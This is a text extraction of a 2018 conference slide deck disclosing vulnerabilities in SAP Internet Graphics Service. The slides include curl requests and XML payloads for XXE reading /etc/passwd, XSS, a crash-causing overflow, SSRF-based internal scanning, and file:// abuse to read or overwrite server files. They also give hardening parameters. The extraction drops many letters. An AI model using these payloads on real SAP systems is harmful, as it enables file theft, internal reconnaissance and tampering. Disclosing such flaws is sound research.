SAP IGS SAP IGS THE 'VULNERABLE' FORGOTTEN COMPONENT THE - - PowerPoint PPT Presentation

▶
sap igs sap igs
SMART_READER_LITE
LIVE PREVIEW

SAP IGS SAP IGS THE 'VULNERABLE' FORGOTTEN COMPONENT THE - - PowerPoint PPT Presentation

Sep 21, 2022 270 likes •1.33k views

SAP IGS SAP IGS THE 'VULNERABLE' FORGOTTEN COMPONENT THE 'VULNERABLE' FORGOTTEN COMPONENT Yvan GENUER - Troopers 2018 DISCLAIMER DISCLAIMER Can't disclose too much Nothing hardcore Skipping 'What is SAP' part BAPI_USER_GET_DETAIL

slide-1
SLIDE 1

SAP IGS SAP IGS

THE 'VULNERABLE' FORGOTTEN COMPONENT THE 'VULNERABLE' FORGOTTEN COMPONENT

Yvan GENUER - Troopers 2018

slide-2
SLIDE 2

DISCLAIMER DISCLAIMER

Can't disclose too much Nothing hardcore Skipping 'What is SAP' part

slide-3
SLIDE 3

BAPI_USER_GET_DETAIL BAPI_USER_GET_DETAIL

  • | Import parameters | Value

| | | USERNAME | Yvan GENUER | CACHE_RESULTS | X

slide-4
SLIDE 4

BAPI_USER_GET_DETAIL BAPI_USER_GET_DETAIL

10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

slide-5
SLIDE 5

AGENDA AGENDA

SAP IGS Chart generator Zip service Spool service Image converter Securing IGS Conclusion

slide-6
SLIDE 6

AGENDA AGENDA

SAP IGS Chart generator Zip service Spool service Image converter Securing IGS Conclusion

slide-7
SLIDE 7

WHY DID I CHOOSE IGS ? WHY DID I CHOOSE IGS ?

CURIOSITY CURIOSITY

slide-8
SLIDE 8

WHY DID I CHOOSE IGS ? WHY DID I CHOOSE IGS ?

SUSPICIOUS SUSPICIOUS

Only few public vulnerabilies...

slide-9
SLIDE 9

Marn O'Neal 865403 - IGS is vulnerable to directory traversal aacks via HTTP

2005

slide-10
SLIDE 10

Mariano Nunez Di Croce 965201 - IGS HTTP administraon commands 959358 - IGS HTTP administraon is not possible

2006

slide-11
SLIDE 11

Mark Litchfield 1018575 - Cross-site scripng (XSS) using the IGS

2007

slide-12
SLIDE 12

2014 (libff related) 2017 (libpng related) 2018479 - Potenal remote code execuon due to buffer overflow in libff 2380277 - Memory Corrupon vulnerability in IGS

slide-13
SLIDE 13

WHAT IS SAP IGS WHAT IS SAP IGS

slide-14
SLIDE 14

SAP Internet Graphics Service Generates graphics or charts for example in EarlyWatch Alert reports Provides other services zip files, convert images, etc Accessible through RFC or HTTP(S) Available as integral part of the SAP Web AS 6.40

slide-15
SLIDE 15
slide-16
SLIDE 16

4<SN>00 RFC Listener 4<SN>80 HTTP Listener 4<SN>01 Portwatcher 1 4<SN>02 Portwatcher 2 ...

root@sapsrv3:~# ss -lntp | grep igs LISTEN 0 128 *:40000 *:* users:(("igsmux_mt",pid=28225,fd=9) LISTEN 0 20 *:40001 *:* users:(("igspw_mt",pid=28226,fd=7)) LISTEN 0 20 *:40002 *:* users:(("igspw_mt",pid=28227,fd=7)) LISTEN 0 128 *:40080 *:* users:(("igsmux_mt",pid=28225,fd=6)

slide-17
SLIDE 17
slide-18
SLIDE 18

SAP help

hps:/ /help.sap.com/viewer/3348e831f4024f2db0251e9daa08b783/7.5.10/en- US/4e193ea5b5c617e2e10000000a42189b.html

slide-19
SLIDE 19

Not a lot of documentaon But enough to start with :)

slide-20
SLIDE 20

AGENDA AGENDA

SAP IGS Chart generator Zip service Spool service Image converter Securing IGS Conclusion

slide-21
SLIDE 21
slide-22
SLIDE 22

HOW DOES IT WORK ? HOW DOES IT WORK ?

XMLCHART: generates business graphics with XML-based customizing and XML- based data (BI 7.x Chart Item, BSP, WD)

slide-23
SLIDE 23

SIGS / Goto / Test / Chart engine report : GRAPHICS_IGS_CE_TEST

slide-24
SLIDE 24

Googling this report found something named SAP Chart Designer Then a SAP Note about it 2072652 - SAP Chart Designer cannot be downloaded from SAP service marketplace

slide-25
SLIDE 25

with a XML Format.pdf in aachments

slide-26
SLIDE 26

data.xml

<?xml version="1.0" encoding="utf-8"?> <ChartData> <Categories> <Category>ALttP</Category> </Categories> <Series label="Hyrule"> <Point> <Value type="y">1991</Value> </Point> </Series> </ChartData>

slide-27
SLIDE 27

Aer few manual tests, the correct request is :

curl -sKL -X POST "http://sapserver:40080/XMLCHART" \

  • H "Content-Type: multipart/form-data" \
  • F "data=@data.xml"
slide-28
SLIDE 28

SAP IGS responds...

# curl -sKL -X POST "http://sapserver:40080/XMLCHART" -H "Content-T <A name="Picture" href="/output/Picture_1516177943140686138582784- <A name="Info" href="/output/Info_1516177943140686138582784-113270

slide-29
SLIDE 29

VULN #1 VULN #1

XML did you say ? ... XXE ?

slide-30
SLIDE 30

<!ENTITY lol SYSTEM "/etc/os-release"> works but limited to 440 chars and... on an picture

slide-31
SLIDE 31

Found report GRAPHICS_GUI_CE_DEMO It manages customizing.xml

slide-32
SLIDE 32

noce something... Can I put href aribute on my chart ?

... <Title> <Visibility>true</Visibility> <Extension>href=&quot;sapevent:onclick?Title&quot;</Extension> <Caption>Caffeine Consumption</Caption> ...

slide-33
SLIDE 33

custo.xml

<?xml version="1.0" encoding="utf-8"?> <SAPChartCustomizing version="1.1"> <Elements> <ChartElements> <Title> <Extension>href=&quot;https://www.troopers.de&quot;</Exten </Title> </ChartElements> </Elements> </SAPChartCustomizing>

slide-34
SLIDE 34

A 3rd file is generated !

# curl -sKL -X POST "http://sapserver:40080/XMLCHART" -H "Content-T <A name="Picture" href="/output/Picture_1516178409140686138582784- <A name="ImageMap" href="/output/ImageMap_151617840914068613858278 <A name="Info" href="/output/Info_1516178409140686138582784-113224 # curl http://sapserver:40080/output/ImageMap_15161784091406861385 <area shape=rect coords="0, 0,0, 0" href="https://www.troopers.de"

slide-35
SLIDE 35

custo_xxe.xml

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE Extension [ <!ENTITY xxe SYSTEM "/etc/passwd"> ]> <SAPChartCustomizing version="1.1"> <Elements> <ChartElements> <Title> <Extension>&xxe;</Extension> </Title> </ChartElements> </Elements> </SAPChartCustomizing>

slide-36
SLIDE 36
slide-37
SLIDE 37

VULN #2 VULN #2

Is this "3rd" file a .htm ? ... XSS ?

slide-38
SLIDE 38

custo_xss.xml

<?xml version="1.0" encoding="utf-8"?> <SAPChartCustomizing version="1.1"> <Elements> <ChartElements> <Title> <Extension>&gt;&lt;!DOCTYPE html&gt;&lt;html&gt;&lt;body&g </Title> </ChartElements> </Elements> </SAPChartCustomizing>

slide-39
SLIDE 39
slide-40
SLIDE 40

AGENDA AGENDA

SAP IGS Chart generator Zip service Spool service Image converter Securing IGS Conclusion

slide-41
SLIDE 41
slide-42
SLIDE 42

HOW DOES IT WORK ? HOW DOES IT WORK ?

ZIPPER zips mulple input files (BW 3.5 / BI 7.x BEx Broadcaster).

slide-43
SLIDE 43

SIGS / Goto / Demonstraon / Zip

slide-44
SLIDE 44

report : GRAPHICS_IGS_ZIPPER_DEMO

slide-45
SLIDE 45

report : GRAPHICS_IGS_ZIPPER_DEMO

slide-46
SLIDE 46

class : CL_IGS_ZIPPER

slide-47
SLIDE 47

class : CL_IGS_ZIPPER

slide-48
SLIDE 48

Method : RENDER_XML

slide-49
SLIDE 49

zip.xml

<?xml version="1.0" encoding="UTF-8"?> <REQUEST> <COMPRESS format="zip"> <FILES> <FILE name="file1" path="/EasternPalace" size="17"></FILE> <FILE name="file2" path="/DesertPalace" size="17"></FILE> </FILES> </COMPRESS> </REQUEST>

slide-50
SLIDE 50

Like XMLCHART, request is mulpart type :

curl -sKL -X POST "http://sapserver:40080/ZIPPER" \

  • H "Content-Type: multipart/form-data" \
  • F "xml=@zip.xml" \
  • F "file1=@file1" \
  • F "file2=@file2"
slide-51
SLIDE 51

SAP IGS responds...

<A name="META" href="/output/META_1516180866140686113404672-112978 <A name="ZIPFILE" href="/output/zipfile_15161808667687400.zip">ZIP Archive: zipfile_15161808667687400.zip Length Date Time Name

  • -------- ---------- ----- ----

17 2018-01-17 01:21 /EasternPalace/file1 17 2018-01-17 01:21 /DesertPalace/file2

  • -------- -------

34 2 files

slide-52
SLIDE 52

VULN #3 VULN #3

Overflow...

slide-53
SLIDE 53

I was manually tesng inputs like a normal end user... ... when a Portwatcher crashed

$(python -c "import string;print string.printable") $(python -c "print 'A'*10000") <TITLE>SAP Internet Graphics Server</TITLE></HEAD><BODY> <H2><B>500 Internal Server Error</B></H2><BR><HR> <BR>Error in interpreter communication<BR><BR><HR>

slide-54
SLIDE 54
slide-55
SLIDE 55

Ok DoS here. Exploitable ? strchr() before vulnerable funcon if \x00 in our payload -> invalid xml error the vulnerable funcon isn't reached

slide-56
SLIDE 56

AGENDA AGENDA

SAP IGS Chart generator Zip service Spool service Image converter Securing IGS Conclusion

slide-57
SLIDE 57
slide-58
SLIDE 58

HOW DOES IT WORK ? HOW DOES IT WORK ?

RSPOCONNECTOR provides an interface to communicate with printers.

slide-59
SLIDE 59

SIGS / Goto / Test / RSPO Connector

slide-60
SLIDE 60

report : GRAPHICS_IGS_RSPO_TEST ... nothing useful

slide-61
SLIDE 61

Search for class name like : cl*igs* CL_RSPO_IGS_SNMP

slide-62
SLIDE 62

method : GET_SAPSPRINT_VERSION

slide-63
SLIDE 63

No xml input It appears that the report sends a "string" to IGS

slide-64
SLIDE 64

It is also a mulpart/form-data request Example for GetSapSprintProtocolVersion :

curl -sKL -X POST "http://sapserver:40080/RSPOCONNECTOR" \

  • H "Content-Type: multipart/form-data" \
  • F "RspoVersion=1" \
  • F "RspoConnRequest=GetSapSprintProtocolVersion" \
  • F "SapSprintHost=host" \
  • F "SapSprintPort=515"
slide-65
SLIDE 65

Spent a lot of me to build a SAPSprint server Lot of failed here But found a lile thing...

slide-66
SLIDE 66

VULN #4 VULN #4

Simple SSRF...

slide-67
SLIDE 67

Using request GetSapSprintProtocolVersion We can specify opons : SapSprintHost SapSprintPort Return Code is writen in file : "/output/RspoConnReturnCode_<blabla>"

slide-68
SLIDE 68

Could be used for internal scanning By evaluang the error log code

slide-69
SLIDE 69

attacker -> SAP IGS -> internal SAP 192.168.123.51 192.168.123.13 10.11.12.13 10.11.12.2

slide-70
SLIDE 70
slide-71
SLIDE 71

AGENDA AGENDA

SAP IGS Chart generator Zip service Spool service Image converter Securing IGS Conclusion

slide-72
SLIDE 72
slide-73
SLIDE 73

HOW DOES IT WORK ? HOW DOES IT WORK ?

IMGCONV is a service for converng

  • ne graphic format (for example, GIF)

into another (for example, TIFF).

slide-74
SLIDE 74

You know the process now... SIGS / Goto / Demonstraon / Image Converter

slide-75
SLIDE 75

report : GRAPHICS_IGS_IMGCONV_DEMO

slide-76
SLIDE 76

report : GRAPHICS_IGS_IMGCONV_DEMO

slide-77
SLIDE 77

Method : RENDER_XML

slide-78
SLIDE 78

img.xml

<?xml version="1.0" encoding="UTF-8"?> <IMAGE> <WIDTH>100</WIDTH> <HEIGTH>100</HEIGTH> <INPUT>image/png</INPUT> <OUTPUT>image/gif</OUTPUT> <GET_URL>http://anywhere.com/Agahnim.png</GET_URL> <PUT_URL>http://somewhere.com/Ganon.gif</PUT_URL> </IMAGE>

slide-79
SLIDE 79

FAILED TESTS FAILED TESTS

Request very large image Upload other types of file Upload valid image with embeded payload XXE ...

slide-80
SLIDE 80

VULN #5 VULN #5

Arbitrary Image upload...

slide-81
SLIDE 81

I was interested by how the hp request is made ImageConverter::GetImageFromUrl

gdb-peda$ info functions Url All functions matching regular expression "Url": ... 0x00007ff1a84e02c0 ImageConverter::PutImageToUrl(char const*, ImageConverter::tImage const*, char**) 0x00007ff1a84e03a0 ImageConverter::GetImageFromUrl(char const*, int, unsigned char**, unsigned int*) ...

slide-82
SLIDE 82

During my test I send Then hit the verificaon test So the next jump is not taken...

<GET_URL>IAmError</GET_URL> => 0x7ff1a84e03d7 <_ZN14ImageConverter15GetImageFromUrlEPKciPPhPj+ repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi] RSI: 0x7ff180000b30 ("IAmError") RDI: 0x7ff1a86dc9bc --> 0x6172620070747468 ('http')

slide-83
SLIDE 83

... But another test is made

=> 0x7ff1a84e044f <_ZN14ImageConverter15GetImageFromUrlEPKciPPhPj+ repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi] RSI: 0x7ff180000b30 ("IAmError") RDI: 0x7ff1a86b6fdd --> 0x206f4e00656c6966 ('file')

It tests if our url begins with "file" !

slide-84
SLIDE 84

Could "file:/ /" be valid url ? YES :) GET_URL and PUT_URL, both are vulnerable

slide-85
SLIDE 85

INFORMATION GATHERING INFORMATION GATHERING

Using GET_URL on SAP system itself Evaluang error log : File doesn't exist File exists

<ERROR code="1">Unknown file format</ERROR> <ERROR code="3">Image data corrupt</ERROR>

slide-86
SLIDE 86
slide-87
SLIDE 87
slide-88
SLIDE 88

EVIL THINGS EVIL THINGS

Overwrite exisng file Like the SAP Kernel

slide-89
SLIDE 89
slide-90
SLIDE 90

AGENDA AGENDA

SAP IGS Chart generator Zip service Spool service Image converter Securing IGS Conclusion

slide-91
SLIDE 91

SAP SECURITY NOTE SAP SECURITY NOTE

2525222 - Security vulnerabilies in SAP IGS 2538829 - Open Source Soware Security Vulnerabilies in SAP IGS

slide-92
SLIDE 92

UP TO DATE UP TO DATE

No miracle Part of SAP Kernel Not a 'SAP Upgrade' Less business impact

slide-93
SLIDE 93

PARAMETERS PARAMETERS

Deacvate hp admin page Disable PUT_URL feature

igs/listener/http = 4$(SAPSYSTEM)80 ALLOW_PUT_URL = 0

slide-94
SLIDE 94

TRACE & LOGS TRACE & LOGS

Add IGS Logs to your log manager

igs/tracelevel = 1 /usr/sap/<SID>/Dxx/igs/log/mux_<hostname>.trc /usr/sap/<SID>/Dxx/igs/log/pw_<hostname>_<x>.trc

slide-95
SLIDE 95

IGSTEST.PY IGSTEST.PY

slide-96
SLIDE 96

IGSTEST.PY IGSTEST.PY

Another not maintained tool Tesng what ? if version == old then warning ? Forget this idea... but...

slide-97
SLIDE 97

PYSAP PYSAP

>>> from pysap.SAPIGS import * >>> p = SAPIGS() >>> p.canvas_dump() >>>

slide-98
SLIDE 98

SAP-DISSECTION SAP-DISSECTION

slide-99
SLIDE 99

Supports RFC and HTTP requests Few pysap examples scripts Both released for Troopers

slide-100
SLIDE 100

AGENDA AGENDA

SAP IGS Chart generator Zip service Spool service Image converter Securing IGS Conclusion

slide-101
SLIDE 101

MAKE THE WORLD A SAFER PLACE MAKE THE WORLD A SAFER PLACE

Several interesng content : Network Web Reverse SAP things...

slide-102
SLIDE 102

MAKE THE WORLD A SAFER PLACE MAKE THE WORLD A SAFER PLACE

Not so complicated ? Come and let's improve it !

slide-103
SLIDE 103

SAP Security note , gdb peda PySAP SAP-Dissecon Devoteam IGS SAP Help 2525222 2538829 hps:/ /github.com/longld/peda hps:/ /github.com/CoreSecurity/pysap hps:/ /github.com/CoreSecurity/SAP-Dissecon-plug-in-for-Wireshark hps:/ /www.cert-devoteam.fr/publicaons/en/tag/sap-en/

slide-104
SLIDE 104

THANK YOU ! THANK YOU !

SAP PSR Team - Marn Gallo - Monty - Bkth

slide-105
SLIDE 105

QUESTIONS ? QUESTIONS ?

And... join us tomorow for 10k charity run !